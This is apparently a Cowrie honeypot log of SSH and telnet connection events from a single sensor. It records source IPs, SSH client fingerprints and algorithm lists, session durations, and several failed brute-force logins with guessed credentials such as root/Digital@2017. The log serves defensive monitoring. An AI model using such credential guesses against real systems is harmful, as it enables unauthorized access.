{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":38494,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e4dbf01b36","protocol":"ssh","message":"New connection: 190.108.60.10:38494 (10.17.0.5:22) [session: c9e4dbf01b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:23.904490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:23.912604Z","src_ip":"190.108.60.10","session":"c9e4dbf01b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:24.115984Z","src_ip":"190.108.60.10","session":"c9e4dbf01b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37548,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb3614ffb23","protocol":"telnet","message":"New connection: 206.189.32.23:37548 (10.17.0.5:23) [session: bfb3614ffb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:24.762975Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysqladmin","message":"login attempt [mysql/mysqladmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:24.967529Z","src_ip":"190.108.60.10","session":"c9e4dbf01b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:26.177843Z","src_ip":"190.108.60.10","session":"c9e4dbf01b36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33726,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcb5a393e639","protocol":"telnet","message":"New connection: 104.245.105.2:33726 (10.17.0.5:23) [session: fcb5a393e639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:28.723267Z"}
{"eventid":"cowrie.session.closed","duration":120.00141072273254,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:32.315885Z","src_ip":"38.191.219.202","session":"6bc89f6ec74f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.191.219.202","src_port":44480,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba077ff2b3a7","protocol":"telnet","message":"New connection: 38.191.219.202:44480 (159.203.135.109:23) [session: ba077ff2b3a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:32.813860Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5bf120e74bb","protocol":"telnet","message":"New connection: 104.245.105.2:45198 (10.17.0.5:23) [session: a5bf120e74bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:33.308526Z"}
{"eventid":"cowrie.session.closed","duration":32.6344108581543,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:36.585949Z","src_ip":"104.245.105.2","session":"f96a670da939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.588343143463135,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:38.055382Z","src_ip":"104.245.105.2","session":"c71639f02a2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.029553174972534,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:46.207708Z","src_ip":"206.189.32.23","session":"ee5576630aaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57338,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d57fc2f2a98","protocol":"telnet","message":"New connection: 206.189.32.23:57338 (10.17.0.5:23) [session: 7d57fc2f2a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:47.409723Z"}
{"eventid":"cowrie.session.closed","duration":47.75355792045593,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:48.546991Z","src_ip":"206.189.32.23","session":"b478179d3e2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.62804174423218,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:48.907812Z","src_ip":"104.245.105.2","session":"82cf62725bc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72407412528992,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:50.893012Z","src_ip":"104.245.105.2","session":"e38411133d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.667670011520386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:51.800826Z","src_ip":"104.245.105.2","session":"8a9081a708a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.207595109939575,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:53.583804Z","src_ip":"188.208.141.113","session":"d7075c05ff42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.35515308380127,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:53.756222Z","src_ip":"206.189.32.23","session":"bd6e6598e570","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37394,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f82963dd1f","protocol":"telnet","message":"New connection: 206.189.32.23:37394 (10.17.0.5:23) [session: 17f82963dd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:55.822032Z"}
{"eventid":"cowrie.session.closed","duration":35.615288496017456,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:58.347119Z","src_ip":"104.245.105.2","session":"d5efe17937b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44178,"dst_ip":"10.17.0.5","dst_port":23,"session":"a58fee0cc529","protocol":"telnet","message":"New connection: 206.189.32.23:44178 (10.17.0.5:23) [session: a58fee0cc529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:59.739505Z"}
{"eventid":"cowrie.session.closed","duration":46.71409463882446,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:00.317429Z","src_ip":"206.189.32.23","session":"3b3165693d98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.24123668670654,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:05.964396Z","src_ip":"104.245.105.2","session":"fcb5a393e639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.962724447250366,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:07.271165Z","src_ip":"104.245.105.2","session":"a5bf120e74bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":42612,"dst_ip":"10.17.0.5","dst_port":22,"session":"2000525535b1","protocol":"ssh","message":"New connection: 61.222.211.114:42612 (10.17.0.5:22) [session: 2000525535b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:13.596583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:13.601546Z","src_ip":"61.222.211.114","session":"2000525535b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:13.813408Z","src_ip":"61.222.211.114","session":"2000525535b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cistest","password":"cistest","message":"login attempt [cistest/cistest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:14.691585Z","src_ip":"61.222.211.114","session":"2000525535b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.3617889881134,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:15.124608Z","src_ip":"206.189.32.23","session":"bfb3614ffb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.07388734817505,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:15.318678Z","src_ip":"206.189.32.23","session":"7e15e24105d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:15.906791Z","src_ip":"61.222.211.114","session":"2000525535b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34888,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda5966da67c","protocol":"telnet","message":"New connection: 206.189.32.23:34888 (10.17.0.5:23) [session: eda5966da67c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:18.276407Z"}
{"eventid":"cowrie.session.closed","duration":37.61951684951782,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:25.029133Z","src_ip":"206.189.32.23","session":"7d57fc2f2a98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53750,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3e8705271b2","protocol":"telnet","message":"New connection: 104.245.105.2:53750 (10.17.0.5:23) [session: e3e8705271b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:26.657334Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53754,"dst_ip":"10.17.0.5","dst_port":23,"session":"89aa3cd55f19","protocol":"telnet","message":"New connection: 104.245.105.2:53754 (10.17.0.5:23) [session: 89aa3cd55f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:26.883320Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":55916,"dst_ip":"10.17.0.5","dst_port":22,"session":"717da6244a24","protocol":"ssh","message":"New connection: 190.108.60.10:55916 (10.17.0.5:22) [session: 717da6244a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:30.787728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:30.793340Z","src_ip":"190.108.60.10","session":"717da6244a24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:30.980755Z","src_ip":"190.108.60.10","session":"717da6244a24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital@2017","message":"login attempt [root/Digital@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:31.770728Z","src_ip":"190.108.60.10","session":"717da6244a24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:32.960395Z","src_ip":"190.108.60.10","session":"717da6244a24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49588,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1c53982f329","protocol":"telnet","message":"New connection: 206.189.32.23:49588 (10.17.0.5:23) [session: a1c53982f329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:34.512216Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50814,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d2b8a8449c0","protocol":"telnet","message":"New connection: 206.189.32.23:50814 (10.17.0.5:23) [session: 0d2b8a8449c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:35.852049Z"}
{"eventid":"cowrie.session.closed","duration":40.15877628326416,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:35.980667Z","src_ip":"206.189.32.23","session":"17f82963dd1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.374260425567627,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:39.886323Z","src_ip":"206.189.32.23","session":"a1c53982f329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.272563457489014,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:40.124488Z","src_ip":"206.189.32.23","session":"0d2b8a8449c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38452,"dst_ip":"10.17.0.5","dst_port":23,"session":"422e24b13882","protocol":"telnet","message":"New connection: 188.208.141.113:38452 (10.17.0.5:23) [session: 422e24b13882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:42.173678Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59990,"dst_ip":"10.17.0.5","dst_port":23,"session":"aba47fe2fca7","protocol":"telnet","message":"New connection: 206.189.32.23:59990 (10.17.0.5:23) [session: aba47fe2fca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:45.134383Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60304,"dst_ip":"10.17.0.5","dst_port":23,"session":"5363c8dce8bf","protocol":"telnet","message":"New connection: 206.189.32.23:60304 (10.17.0.5:23) [session: 5363c8dce8bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:45.544094Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60498,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d690bc8def5","protocol":"telnet","message":"New connection: 162.55.233.176:60498 (159.203.135.109:23) [session: 2d690bc8def5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:47.327090Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41328,"dst_ip":"10.17.0.5","dst_port":23,"session":"494e77db7028","protocol":"telnet","message":"New connection: 104.245.105.2:41328 (10.17.0.5:23) [session: 494e77db7028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:47.344436Z"}
{"eventid":"cowrie.session.closed","duration":3.8538296222686768,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:49.397778Z","src_ip":"206.189.32.23","session":"5363c8dce8bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35052,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbf5c11e2dd1","protocol":"telnet","message":"New connection: 206.189.32.23:35052 (10.17.0.5:23) [session: bbf5c11e2dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:49.586750Z"}
{"eventid":"cowrie.session.closed","duration":30.703648567199707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:57.360880Z","src_ip":"104.245.105.2","session":"e3e8705271b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70466685295105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:57.587870Z","src_ip":"104.245.105.2","session":"89aa3cd55f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.53719925880432,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:56:58.813477Z","src_ip":"206.189.32.23","session":"eda5966da67c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44012,"dst_ip":"10.17.0.5","dst_port":23,"session":"705b37243fa8","protocol":"telnet","message":"New connection: 206.189.32.23:44012 (10.17.0.5:23) [session: 705b37243fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:03.162601Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54118,"dst_ip":"10.17.0.5","dst_port":23,"session":"9904e9182451","protocol":"telnet","message":"New connection: 206.189.32.23:54118 (10.17.0.5:23) [session: 9904e9182451]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:09.610915Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":39874,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fe95dd3d1f","protocol":"ssh","message":"New connection: 61.222.211.114:39874 (10.17.0.5:22) [session: b2fe95dd3d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:10.926211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:10.932347Z","src_ip":"61.222.211.114","session":"b2fe95dd3d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:11.137016Z","src_ip":"61.222.211.114","session":"b2fe95dd3d1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle123456","message":"login attempt [root/oracle123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:12.004447Z","src_ip":"61.222.211.114","session":"b2fe95dd3d1f","protocol":"ssh"}
